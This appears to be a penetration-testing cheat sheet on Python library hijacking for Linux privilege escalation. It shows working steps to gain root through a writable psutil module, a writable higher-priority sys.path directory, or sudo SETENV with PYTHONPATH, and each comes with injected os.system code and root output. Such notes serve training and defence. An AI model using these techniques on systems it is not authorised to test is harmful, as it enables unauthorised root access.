Python Library Hijacking
Ways to hijack a python library
Wrong write permissions
Library path
PYTHONPATH
environment variable
Wrong Write Permissions
Sample Scenario
Assuming there is a binary that has a SUID set
$ ls -l mem_status.py -rwsrwxr-x 1 root mrb3n 188 Dec 13 20:13 mem_status.py
This means we can read its contents, and execute this file as root. But we can't edit the file.
Reading the file, we can see that it imports the psutil library and it calls the function virtual_memory
#!/usr/bin/env python3 import psutil available_memory = psutil.virtual_memory().available * 100 / psutil.virtual_memory().total print(f"Available memory: {round(available_memory, 2)}%")
So we can look for this function in the folder of
psutil
and check if this module has write permissions for us$ grep -r "def virtual_memory" /usr/local/lib/python3.8/dist-packages/psutil/* /usr/local/lib/python3.8/dist-packages/psutil/__init__.py:def virtual_memory(): /usr/local/lib/python3.8/dist-packages/psutil/_psaix.py:def virtual_memory(): /usr/local/lib/python3.8/dist-packages/psutil/_psbsd.py:def virtual_memory(): /usr/local/lib/python3.8/dist-packages/psutil/_pslinux.py:def virtual_memory(): /usr/local/lib/python3.8/dist-packages/psutil/_psosx.py:def virtual_memory(): /usr/local/lib/python3.8/dist-packages/psutil/_pssunos.py:def virtual_memory(): /usr/local/lib/python3.8/dist-packages/psutil/_pswindows.py:def virtual_memory(): $ ls -l /usr/local/lib/python3.8/dist-packages/psutil/__init__.py -rw-r--rw- 1 root staff 87339 Dec 13 20:07 /usr/local/lib/python3.8/dist-packages/psutil/__init__.py
View the function
...SNIP... def virtual_memory(): ...SNIP... global _TOTAL_PHYMEM ret = _psplatform.virtual_memory() # cached for later use in Process.memory_percent() _TOTAL_PHYMEM = ret.total return ret ...SNIP...
Edit the function
...SNIP... def virtual_memory(): ...SNIP... #### Hijacking import os os.system('id') global _TOTAL_PHYMEM ret = _psplatform.virtual_memory() # cached for later use in Process.memory_percent() _TOTAL_PHYMEM = ret.total return ret ...SNIP...
Run the script with sudo
$ sudo /usr/bin/python3 ./mem_status.py uid=0(root) gid=0(root) groups=0(root) uid=0(root) gid=0(root) groups=0(root) Available memory: 79.22%
Library Path
Sample Exploitation
Check the PYTHONPATH
$ python3 -c 'import sys; print("\n".join(sys.path))' /usr/lib/python38.zip /usr/lib/python3.8 /usr/lib/python3.8/lib-dynload /usr/local/lib/python3.8/dist-packages /usr/lib/python3/dist-packages
Two pre-requisites must be satisfied:
The module imported by the script is in lower level priority
We have write permissions on any script that has higher priority
Check default installation and we can see that it is in the lower priority
$ pip3 show psutil ...SNIP... Location: /usr/local/lib/python3.8/dist-packages ...SNIP...
Check the higher priority PYTHONPATH if we can write there
$ ls -la /usr/lib/python3.8 total 4916 drwxr-xrwx 30 root root 20480 Dec 14 16:26 . ...SNIP...
Since the conditions are satisfied, create a psutil.py on the directory in step4
#!/usr/bin/env python3 import os def virtual_memory(): os.system('id')
Run the python file that has the SUID set
$ sudo /usr/bin/python3 mem_status.py
PYTHONPATH
If SETENV: is in sudo -l , we can set environment variables under the context of the running program.
Sample Exploitation
Create a psutil.py in any directory (/tmp in this example)
$ sudo PYTHONPATH=/tmp/ /usr/bin/python3 ./mem_status.py uid=0(root) gid=0(root) groups=0(root) ...SNIP...
Last updated